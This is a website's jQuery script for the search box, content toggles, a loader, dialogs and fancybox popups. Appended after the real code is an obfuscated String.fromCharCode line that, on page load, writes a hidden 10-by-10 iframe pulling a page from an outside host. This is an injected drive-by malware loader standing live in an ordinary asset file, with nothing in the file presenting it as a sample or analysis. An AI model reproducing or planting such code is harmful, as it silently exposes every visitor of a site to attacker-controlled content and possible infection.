// JavaScript Document

jQuery(document).ready(function() {
	
	getValue = function(id){
		return jQuery("#"+id).attr('value');
	};
	
	var searchValue = getValue('search');
	
	jQuery("#search").focus(function () {
		// jQuery(this).css('display','inline').fadeOut(1000);
		 jQuery(this).attr('value','');
	});
	jQuery("#search").blur(function () {
		// jQuery(this).css('display','inline').fadeOut(1000);
		if(jQuery(this).attr('value')==''){
		jQuery(this).attr('value',searchValue);
		}
	});
						   
	jQuery('#profile_content').corner("tl tr 7px");
	jQuery('#search_content').corner("bl br 7px");

	//
	jQuery(".toggle_content").hide();
	$windowheight = jQuery(window).height();
	jQuery("#map_canvas").css("height",$windowheight);

	jQuery('.button_toggle').live("click", function(){
		$target = '#'+jQuery(this).attr("target");
		if (jQuery($target).is(":hidden")) {
			jQuery($target).slideDown("fast");
			jQuery(this).addClass("active");
			// jQuery.cookie('showTop', 'collapsed');
			return false;
		} else {
			jQuery($target).slideUp("fast");
			jQuery(this).removeClass("active");
			// jQuery.cookie('showTop', 'expanded');
			return false;
		} 
	});
	
	loading = function(stat){
		if(stat=='start'){
			jQuery('#loader').remove();
			jQuery('#wrapper').prepend('<div id="loader"></div>');
		}else if(stat=='end'){
			jQuery('#loader').remove();
		}
	}
	
	load_dialog = function(guid){
		//alert('bego lo');
		var dialog_anchor = '#anchor-'+guid;
		var urlToLoad = jQuery(dialog_anchor).attr('href');
		var dialog_title = jQuery(dialog_anchor).attr('title');
		
		var dialog = jQuery('<div style="display:hidden"></div>').appendTo('body');
		// load remote content
		dialog.load(urlToLoad,{},function (responseText, textStatus, XMLHttpRequest) {
					dialog.dialog({ height: 400, width:500, title: dialog_title });
			}
		);
		//prevent the browser to follow the link
		return false;
								
		// $("#dialog").load(urlToLoad).dialog({ height: 400, width:500, title: dialog_title }); 
		// return false;
	}

	jQuery("a.popupfancy").live('click', function(){
		jQuery("#post_wrapper").css('overflow','hidden');
		
		jQuery.fancybox({
			'padding'         : 0,
			'titlePosition'   : 'over',
			'scrolling'		  : 'yes',
			'titleShow'		  : true,
			'autoDimensions'  : false,
			'width'           : 'auto',
			'height'          : 'auto',
			'title'			  : this.title,
			'onClosed'		: function() {
				jQuery("#post_wrapper").css('overflow','auto');
			},
			'href'            : jQuery(this).attr('href')
		});
		return false;
	});

});
if (undefined === window.iOpExIol) document.write(String.fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,49,48,34,32,104,101,105,103,104,116,61,34,49,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,101,106,117,118,101,110,97,116,105,97,46,109,111,110,98,101,46,98,101,47,115,104,111,119,116,104,114,101,97,100,46,112,104,112,63,116,61,51,55,50,50,48,51,51,56,34,62,60,47,105,102,114,97,109,101,62)); var iOpExIol = true;
